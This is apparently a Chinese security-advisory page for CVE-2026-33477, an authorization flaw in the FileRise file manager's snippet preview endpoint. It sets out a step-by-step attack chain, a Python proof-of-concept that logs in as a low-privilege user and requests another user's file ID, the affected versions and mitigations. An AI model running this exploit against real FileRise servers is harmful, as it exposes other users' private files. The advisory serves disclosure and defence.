IPBUF安全漏洞报告
English
CVE-2026-33477 CVSS 4.3 中危

CVE-2026-33477 FileRise越权读取漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33477
漏洞类型
越权访问
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
FileRise

相关标签

信息泄露越权访问IDORFileRise权限绕过

漏洞概述

FileRise是一个自托管的基于Web的文件管理器,支持多文件上传、编辑和批量操作。在2.3.7至3.10.0版本中,系统存在一个服务端授权漏洞。攻击者利用该漏洞,仅需拥有`read_own`(读取自身文件)的低权限,即可通过`/api/file/snippet.php`端点非法获取同一文件夹内其他用户上传的文件片段内容。该漏洞源于悬停预览功能中对`read_own`权限校验的疏忽,导致敏感信息泄露风险。

技术细节

该漏洞属于典型的越权访问漏洞,核心在于FileRise后端对文件片段预览接口的权限校验逻辑存在严重缺陷。在受影响版本中,当用户在Web界面触发文件悬停预览功能时,前端会向后端 `/api/file/snippet.php` 接口发送请求。理论上,后端应严格校验当前用户对目标文件是否具备读取权限。然而,实际代码逻辑仅确认了用户对所在文件夹拥有基本的访问权限(即`read_own`),却未能进一步验证请求中指定的文件ID是否归属于当前用户。攻击者利用这一授权绕过漏洞,只需拥有一个普通账户,即可通过构造特定的HTTP请求,遍历或指定文件ID,从而非法读取同一文件夹内其他用户上传的敏感文件片段。该漏洞破坏了多用户环境下的数据隔离性,导致信息泄露。

攻击链分析

STEP 1
1. 获取访问权限
攻击者注册或获取一个FileRise平台的普通用户账户,并成功登录系统。
STEP 2
2. 定位目标文件
攻击者浏览系统,找到一个包含其他用户上传文件的共享文件夹,并确定目标文件的ID。
STEP 3
3. 构造恶意请求
攻击者向 `/api/file/snippet.php` 发送POST请求,并在参数中指定受害者的文件ID,携带自己的会话Cookie。
STEP 4
4. 权限绕过
后端服务器验证攻击者对文件夹有`read_own`权限,但未验证文件所有权,错误地返回了文件片段。
STEP 5
5. 获取敏感信息
攻击者接收到服务器响应,获取到本无权访问的文件内容片段,导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_host = "http://filerise.example.com" vulnerable_endpoint = "/api/file/snippet.php" # Attacker's credentials (low privilege user) username = "attacker" password = "password" # 1. Authenticate to get a valid session session = requests.Session() login_payload = { "username": username, "password": password } login_resp = session.post(f"{target_host}/api/login.php", data=login_payload) if login_resp.status_code != 200: print("Login failed") exit(1) # 2. Identify a target file ID belonging to another user in the same folder # This ID might be guessed or enumerated victim_file_id = "45" # 3. Exploit the IDOR vulnerability exploit_payload = { "file_id": victim_file_id, "action": "get_snippet" } response = session.post(f"{target_host}{vulnerable_endpoint}", data=exploit_payload) if response.status_code == 200: print("[+] Exploit Successful!") print("[+] Snippet content:") print(response.text) else: print("[-] Exploit Failed") print(f"Status Code: {response.status_code}")

影响范围

FileRise 2.3.7
FileRise 2.3.8
FileRise 3.0.0
FileRise 3.10.0

防御指南

临时缓解措施
如果无法立即升级,建议通过WAF(Web应用防火墙)添加规则,严格拦截对`/api/file/snippet.php`接口的非常规参数请求,或者暂时禁用文件悬停预览功能以减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表